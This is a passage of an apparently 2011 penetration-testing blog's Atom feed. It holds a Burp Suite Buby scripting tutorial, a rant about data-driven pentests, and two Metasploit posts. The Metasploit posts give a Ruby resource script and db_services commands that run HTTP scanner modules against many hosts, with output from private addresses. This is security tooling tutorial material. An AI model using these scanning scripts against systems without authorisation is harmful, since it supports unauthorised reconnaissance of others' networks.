src='http://3.bp.blogspot.com/--K0zI_slcV8/TgT5x_k1FlI/AAAAAAAAAU4/OC192luGV7k/s220/myphoto.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-7341547603642624576</id><published>2011-05-07T20:59:00.000-04:00</published><updated>2011-06-24T15:27:59.828-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cktricky'/><title type='text'>Buby Script Basics Part 1</title><content type='html'>For those of you who are new to Buby, it is a platform to write Ruby based extensions for the Burp Suite API and I'm going to attempt to cover some of the basics. &amp;nbsp;First let me say thank you to Tebo for providing his insight. Tebo is the author of the &lt;a href="http://carnal0wnage.attackresearch.com/node/414"&gt;Buby.kicks_ass =&amp;gt; true&lt;/a&gt; article. Additionally, thank you Eric Monti the creator of Buby. Buby's homepage is located &lt;a href="http://emonti.github.com/buby/"&gt;Here &lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Installing:&lt;br /&gt;&lt;br /&gt;Although you can write Ruby code, this is a JRuby Gem. What does this mean? It means that the code execution environment is JRuby (Java+Ruby) and the Gem should be installed in the JRuby environment. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Lets install JRuby first:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-WxHPvmS2jic/TcXlHzj1eWI/AAAAAAAAASE/ltoN1nfxsws/s1600/sudo_apt_get_jruby.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="164" src="http://4.bp.blogspot.com/-WxHPvmS2jic/TcXlHzj1eWI/AAAAAAAAASE/ltoN1nfxsws/s320/sudo_apt_get_jruby.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Next, install the Buby Gem.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-rimDstc9Gzs/TcXmXKoaYqI/AAAAAAAAASM/BWKZKN65vCg/s1600/gem+install+jruby.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="138" src="http://2.bp.blogspot.com/-rimDstc9Gzs/TcXmXKoaYqI/AAAAAAAAASM/BWKZKN65vCg/s320/gem+install+jruby.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Basic example of running a script:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-7Ec1GLZCrXE/TcXnauV6W0I/AAAAAAAAASQ/YxqpNRzzPAI/s1600/Screen+shot+2011-05-07+at+8.43.14+PM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="105" src="http://4.bp.blogspot.com/-7Ec1GLZCrXE/TcXnauV6W0I/AAAAAAAAASQ/YxqpNRzzPAI/s320/Screen+shot+2011-05-07+at+8.43.14+PM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The options you see explained&lt;br /&gt;&lt;br /&gt;jruby -S buby &amp;nbsp;=&amp;gt; runs the jruby environment leveraging the buby gem&lt;br /&gt;&lt;br /&gt;-i &amp;nbsp;=&amp;gt; interactive, this means you can interact with Burp from the console.&lt;br /&gt;&lt;br /&gt;-B =&amp;gt; this is the location of your Burp jar file&lt;br /&gt;&lt;br /&gt;-r =&amp;gt; The script you'd like to run. This is an easy way to run the buby code you've created.&lt;br /&gt;&lt;br /&gt;Finally, an example of sending a command to burp via the -i (interactive option). Here we produce an alert "Hello World".&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-M3oBVkQlWvw/TcXpOnSS2iI/AAAAAAAAASU/8A0lwRbBHJc/s1600/buby_interactive_1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="104" src="http://2.bp.blogspot.com/-M3oBVkQlWvw/TcXpOnSS2iI/AAAAAAAAASU/8A0lwRbBHJc/s320/buby_interactive_1.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Pre-command&lt;/b&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: auto;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: auto;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-_KSpCgQDpz4/TcXpYmi7xWI/AAAAAAAAASY/Q3UYATMN7hg/s1600/buby_interactive_2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="94" src="http://1.bp.blogspot.com/-_KSpCgQDpz4/TcXpYmi7xWI/AAAAAAAAASY/Q3UYATMN7hg/s320/buby_interactive_2.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: auto;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: auto;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: auto;"&gt;&lt;b&gt;Command&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: auto;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: auto;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-wiuYyMLreR0/TcXpur4U48I/AAAAAAAAASc/dDZ4LSqq_ls/s1600/burp_interactive_3.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="105" src="http://3.bp.blogspot.com/-wiuYyMLreR0/TcXpur4U48I/AAAAAAAAASc/dDZ4LSqq_ls/s320/burp_interactive_3.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: auto;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: auto;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: auto;"&gt;&lt;b&gt;Post Command&lt;/b&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: auto;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: auto;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Okay so that wraps up Part 1 of Buby Basics.&lt;br /&gt;&lt;br /&gt;If you'd like some scripts to mess around before Part 2, you can find some scripts I put together &lt;a href="https://github.com/WebExploitationFramework/Buby-Scripts"&gt;Here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;~Happy Hacking&lt;br /&gt;&lt;br /&gt;cktricky&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-7341547603642624576?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/7341547603642624576/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=7341547603642624576' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/7341547603642624576'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/7341547603642624576'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/05/buby-script-basics-part-1.html' title='Buby Script Basics Part 1'/><author><name>cktricky</name><uri>http://www.blogger.com/profile/16815248087217800849</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/--K0zI_slcV8/TgT5x_k1FlI/AAAAAAAAAU4/OC192luGV7k/s220/myphoto.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-WxHPvmS2jic/TcXlHzj1eWI/AAAAAAAAASE/ltoN1nfxsws/s72-c/sudo_apt_get_jruby.png' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-1588475242943900069</id><published>2011-04-27T09:15:00.001-04:00</published><updated>2011-04-27T09:47:07.281-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='automation'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='auxiliary modules'/><title type='text'>Running Auxiliary Modules Against Multiple Hosts the Smart Way Part 2</title><content type='html'>In the previous &lt;a href="http://carnal0wnage.blogspot.com/2011/04/running-auxiliary-modules-against.html"&gt;post&lt;/a&gt; I talked about using the db_service -R to use the information in your database/workspace to throw an auxiliary module at hosts that had port 443 open.&lt;br /&gt;&lt;br /&gt;Let's take this one step further...and throw multiple aux modules against the hosts that have port 80 open.&lt;br /&gt;&lt;br /&gt;I'm going to use a resource script to do this.  The cool thing about resource scripts is that you dont have to do them just at startup.  You can do them anytime on the console.&lt;br /&gt;&lt;br /&gt;&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; overflow: auto; font-family: courier; background-color: rgb(24, 24, 24); font-size: 12px; color: rgb(255, 255, 255); line-height: 14px; width: 90%;"&gt;&lt;code&gt;msf auxiliary(options) &amp;gt; resource&lt;br /&gt;Usage: resource path1 path2 ...&lt;br /&gt;&lt;br /&gt;Run the commands stored in the supplied files.&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;In this case i want to run two modules against every port that has 80 open. Here's some code to do it:&lt;br /&gt;&lt;br /&gt;&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; overflow: auto; font-family: courier; background-color: rgb(24, 24, 24); font-size: 12px; color: rgb(255, 255, 255); line-height: 14px; width: 90%;"&gt;&lt;code&gt;&lt;br /&gt;set THREADS 10&lt;br /&gt;&lt;br /&gt;[ruby] **#replace [ and ] with their respective "&lt;" or "&gt;"**'&lt;br /&gt;&lt;br /&gt;#start with an array to hold our modules we want to run&lt;br /&gt;modules = [&lt;br /&gt;"auxiliary/scanner/http/http_version",&lt;br /&gt;"auxiliary/scanner/http/options",]&lt;br /&gt;&lt;br /&gt;#another array for our hosts&lt;br /&gt;hosts = []&lt;br /&gt;framework.db.services.each do |service| &lt;br /&gt; if service.port == 443 &lt;br /&gt;  hosts &lt;&lt; service.host.address&lt;br /&gt; end&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;#loop through each module in the list&lt;br /&gt;modules.each do |blah|&lt;br /&gt; self.run_single("use #{blah}")&lt;br /&gt;  puts ("\nRunning Auxiliary Module #{blah}")&lt;br /&gt;                #for each host with 443 open, set appropriate configs and run the module against it&lt;br /&gt;  hosts.each do |rhost|&lt;br /&gt;          self.run_single("set RHOSTS #{rhost}")&lt;br /&gt;   self.run_single("set RPORT 443") #change to the port above&lt;br /&gt;   self.run_single("set SSL TRUE")&lt;br /&gt;          self.run_single("run")&lt;br /&gt;  end &lt;br /&gt;end&lt;br /&gt;[/ruby] **#replace [ and ] with their respective "&lt;" or "&gt;"**&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Running it:&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; overflow: auto; font-family: courier; background-color: rgb(24, 24, 24); font-size: 12px; color: rgb(255, 255, 255); line-height: 14px; width: 90%;"&gt;&lt;code&gt;&lt;br /&gt;msf auxiliary(options) &gt; resource /home/user/.msf3/aux_do_dbhosts.rc &lt;br /&gt;resource (/home/user/.msf3/aux_do_dbhosts.rc)&gt; set THREADS 10&lt;br /&gt;THREADS =&gt; 10&lt;br /&gt;[*] resource (/home/user/.msf3/aux_do_dbhosts.rc)&gt; Ruby Code (962 bytes)&lt;br /&gt;&lt;br /&gt;Running Auxiliary Module auxiliary/scanner/http/http_version&lt;br /&gt;RHOSTS =&gt; 192.168.1.10&lt;br /&gt;RPORT =&gt; 443&lt;br /&gt;SSL =&gt; TRUE&lt;br /&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;RHOSTS =&gt; 192.168.1.106&lt;br /&gt;RPORT =&gt; 443&lt;br /&gt;SSL =&gt; TRUE&lt;br /&gt;[*] 192.168.1.106 nginx/0.6.32 ( 302-http://192.168.1.106/ )&lt;br /&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;RHOSTS =&gt; 192.168.1.107&lt;br /&gt;RPORT =&gt; 443&lt;br /&gt;SSL =&gt; TRUE&lt;br /&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;RHOSTS =&gt; 192.168.1.135&lt;br /&gt;RPORT =&gt; 443&lt;br /&gt;SSL =&gt; TRUE&lt;br /&gt;[*] 192.168.1.135 Apache/2.2.11 (Ubuntu) mod_ssl/2.2.11 OpenSSL/0.9.8g Phusion_Passenger/2.2.15 ( Powered by Phusion Passenger (mod_rails/mod_rack) 2.2.15 )&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;RHOSTS =&gt; 192.168.1.168&lt;br /&gt;RPORT =&gt; 443&lt;br /&gt;SSL =&gt; TRUE&lt;br /&gt;[*] 192.168.1.168 Apache/2.2.8 (Ubuntu) mod_python/3.3.1 Python/2.5.2 PHP/5.2.4-2ubuntu5.3 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_wsgi/1.3&lt;br /&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;RHOSTS =&gt; 192.168.1.229&lt;br /&gt;RPORT =&gt; 443&lt;br /&gt;SSL =&gt; TRUE&lt;br /&gt;[*] 192.168.1.229 Apache/2.2.9 (Debian) DAV/2 SVN/1.4.2 PHP/5.3.2-0.dotdeb.1 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.2 Perl/v5.8.8 ( Powered by PHP/5.3.2-0.dotdeb.1 )&lt;br /&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;&lt;br /&gt;Running Auxiliary Module auxiliary/scanner/http/options&lt;br /&gt;RHOSTS =&gt; 192.168.1.10&lt;br /&gt;RPORT =&gt; 443&lt;br /&gt;SSL =&gt; TRUE&lt;br /&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;RHOSTS =&gt; 192.168.1.100&lt;br /&gt;RPORT =&gt; 443&lt;br /&gt;SSL =&gt; TRUE&lt;br /&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;...SNIP...YOU GET THE IDEA...&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;-CG&lt;br /&gt;&lt;br /&gt;thanks to hdm and jcran&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-1588475242943900069?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/1588475242943900069/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=1588475242943900069' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/1588475242943900069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/1588475242943900069'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/04/running-auxiliary-modules-against_27.html' title='Running Auxiliary Modules Against Multiple Hosts the Smart Way Part 2'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-5354099150313027475</id><published>2011-04-25T15:42:00.003-04:00</published><updated>2011-04-25T16:15:15.873-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='automation'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='auxiliary modules'/><title type='text'>Running Auxiliary Modules Against Multiple Hosts the Smart Way</title><content type='html'>So a coulple of cool updates lately to metasploit framework.  If you check out db_services you'll see a super handy feature of "-R"&lt;br /&gt;&lt;br /&gt;&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; overflow: auto; font-family: courier; background-color: rgb(24, 24, 24); font-size: 12px; color: rgb(255, 255, 255); line-height: 14px; width: 90%;"&gt;&lt;code&gt;&lt;br /&gt;msf auxiliary(http_version) &amp;gt; db_services -h&lt;br /&gt;&lt;br /&gt;Usage: db_services [-h|--help] [-u|--up] [-a &lt;addr1,addr2&gt;] [-r &lt;proto&gt;] [-p &lt;port1,port2&gt;] [-n &lt;name1,name2&gt;] [-o &lt;filename&gt;]&lt;br /&gt;&lt;br /&gt; -a &lt;addr1,addr2&gt;  Search for a list of addresses&lt;br /&gt; -c &lt;col1,col2&gt;    Only show the given columns&lt;br /&gt; -h,--help         Show this help information&lt;br /&gt; -n &lt;name1,name2&gt;  Search for a list of service names&lt;br /&gt; -p &lt;port1,port2&gt;  Search for a list of ports&lt;br /&gt; -r &lt;protocol&gt;     Only show [tcp|udp] services&lt;br /&gt; -u,--up           Only show services which are up&lt;br /&gt; -o &lt;file&gt;         Send output to a file in csv format&lt;br /&gt; -R,--rhosts       Set RHOSTS from the results of the search&lt;br /&gt;&lt;br /&gt;Available columns: created_at, info, name, port, proto, state, updated_at&lt;br /&gt;&lt;/file&gt;&lt;/protocol&gt;&lt;/port1,port2&gt;&lt;/name1,name2&gt;&lt;/col1,col2&gt;&lt;/addr1,addr2&gt;&lt;/filename&gt;&lt;/name1,name2&gt;&lt;/port1,port2&gt;&lt;/proto&gt;&lt;/addr1,addr2&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In the past you could list your hosts by port (db_services -p 80) but I want to be able to USE those hosts and throw modules at them, bring in the -R option&lt;br /&gt;&lt;br /&gt;&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; overflow: auto; font-family: courier; background-color: rgb(24, 24, 24); font-size: 12px; color: rgb(255, 255, 255); line-height: 14px; width: 90%;"&gt;&lt;code&gt;msf auxiliary(http_version) &amp;gt; use auxiliary/scanner/http/options&lt;br /&gt;msf auxiliary(options) &amp;gt; db_services -R -p 80&lt;br /&gt;&lt;br /&gt;Services&lt;br /&gt;========&lt;br /&gt;&lt;br /&gt;host           port  proto  name  state  info&lt;br /&gt;----           ----  -----  ----  -----  ----&lt;br /&gt;192.168.1.245  80    tcp    http  open   Apache/2.2.3 (CentOS) ( Powered by PHP/5.1.6 )&lt;br /&gt;192.168.1.246  80    tcp    http  open   Apache/2.2.3 (CentOS)&lt;br /&gt;192.168.1.247  80    tcp    http  open   Apache/2.2.12 (Ubuntu)&lt;br /&gt;192.168.1.248  80    tcp    http  open   lighttpd/1.5.0&lt;br /&gt;192.168.1.249  80    tcp    http  open   Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.4 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Phusion_Passenger/2.2.11&lt;br /&gt;192.168.1.251  80    tcp    http  open   Apache&lt;br /&gt;192.168.1.254  80    tcp    http  open   Apache/2.2.3 (CentOS)&lt;br /&gt;&lt;br /&gt;RHOSTS =&amp;gt; file:/tmp/msf-db-rhosts-20110423-27121-10wiuni-0&lt;br /&gt;&lt;br /&gt;msf auxiliary(options) &amp;gt; run&lt;br /&gt;&lt;br /&gt;[*] Scanned 1 of 7 hosts (014% complete)&lt;br /&gt;[*] Scanned 2 of 7 hosts (028% complete)&lt;br /&gt;[*] 192.168.1.247 allows GET,HEAD,POST,OPTIONS methods&lt;br /&gt;[*] Scanned 3 of 7 hosts (042% complete)&lt;br /&gt;[*]192.168.1.248 allows OPTIONS, GET, HEAD, POST methods&lt;br /&gt;[*] Scanned 4 of 7 hosts (057% complete)&lt;br /&gt;[*] 192.168.1.249 allows GET,HEAD,POST,OPTIONS,TRACE methods&lt;br /&gt;[*] Scanned 5 of 7 hosts (071% complete)&lt;br /&gt;[*] Scanned 6 of 7 hosts (085% complete)&lt;br /&gt;[*] Scanned 7 of 7 hosts (100% complete)&lt;br /&gt;[*] Auxiliary module execution completed&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;-CG&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-5354099150313027475?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/5354099150313027475/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=5354099150313027475' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/5354099150313027475'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/5354099150313027475'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/04/running-auxiliary-modules-against.html' title='Running Auxiliary Modules Against Multiple Hosts the Smart Way'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-7031169515328734367</id><published>2011-04-15T22:14:00.005-04:00</published><updated>2011-04-15T22:40:05.798-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rant'/><category scheme='http://www.blogger.com/atom/ns#' term='Pentesting'/><category scheme='http://www.blogger.com/atom/ns#' term='Security Metrics'/><title type='text'>Data Driven Pentests...Don't You mean Vulnerability Assessments?</title><content type='html'>&lt;blockquote&gt;&lt;/blockquote&gt;So first a disclaimer, i didnt listen to the referenced podcast, this is based solely of this blog post:&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://newschoolsecurity.com/2011/04/data-driven-pen-tests"&gt;http://newschoolsecurity.com/2011/04/data-driven-pen-tests&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(68, 68, 68); font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif, 'Lucida Grande', 'Lucida Sans Unicode', Verdana; font-size: 12px; line-height: 21px; "&gt;&lt;p style="margin-top: 13px; margin-right: 0px; margin-bottom: 13px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p style="margin-top: 13px; margin-right: 0px; margin-bottom: 13px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;So I’m listening to the “Larry, Larry, Larry” episode of the Risk Hose podcast, and Alex is talking about data-driven pen tests. I want to posit that pen tests are already empirical. Pen testers know what techniques work for them, and start with those techniques.&lt;/p&gt;&lt;p style="margin-top: 13px; margin-right: 0px; margin-bottom: 13px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;What we could use are data-driven pen test reports. “We tried X, which works in 78% of attempts, and it failed.”&lt;/p&gt;&lt;p style="margin-top: 13px; margin-right: 0px; margin-bottom: 13px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;We could also use more shared data about what tests tend to work.&lt;/p&gt;&lt;p style="margin-top: 13px; margin-right: 0px; margin-bottom: 13px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Thoughts?&lt;/p&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;/div&gt;Dre's response to the post was surprising to me, he listed a bunch of tools that seem to do correlating of pentest results into a portal so you can trend over time.  Cool idea, i'll give the people that.  But to me when we start jumping into repeatable metrics driven stuff we are in Vulnerability Assessment land, not pentesting land.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Here is the comment I left:&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(68, 68, 68); font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif, 'Lucida Grande', 'Lucida Sans Unicode', Verdana; font-size: 12px; line-height: 21px; "&gt;&lt;p style="margin-top: 13px; margin-right: 0px; margin-bottom: 13px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;/p&gt;&lt;blockquote&gt;I like the idea and i think it could be useful.&lt;p style="margin-top: 13px; margin-right: 0px; margin-bottom: 13px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;However, they need to drop the pentest part. you are solidly into the vulnerability assessment part of things when you are talking about “ok, i tried 1,2,3,4,5 and 1 &amp;amp; 3 worked” ok on to the next set of tests… thats vulnerability assessment (with exploitation if you want to get technical) and not pentesting.&lt;/p&gt;&lt;p style="margin-top: 13px; margin-right: 0px; margin-bottom: 13px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;pentesting is about that human looking at the problem and figuring out how to break it, not some scanner, thats going to be very hard to standardize and put hard numbers on and i dont think its going to be possible without tying up your tester’s time with bullshit.&lt;/p&gt;&lt;/blockquote&gt;&lt;p style="margin-top: 13px; margin-right: 0px; margin-bottom: 13px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;I'm all for "repeatable" pentests.  You should have a methodology for each type of test, but when you are paying for  human's time you should be paying for them to go after the site like a human would and not how a scanner would or not in a way where i'm worried about religiously following some checklist because if i don't the metrics get all fucked up.  Your pentest should come after you have thrown the kitchen sink at it scanner wise.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;as an added bonus this post was right below the new school post in my Google reader:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://coding-insecurity.blogspot.com/2011/04/developing-good-methodology-part-3.html"&gt;http://coding-insecurity.blogspot.com/2011/04/developing-good-methodology-part-3.html&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(68, 68, 68); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px; 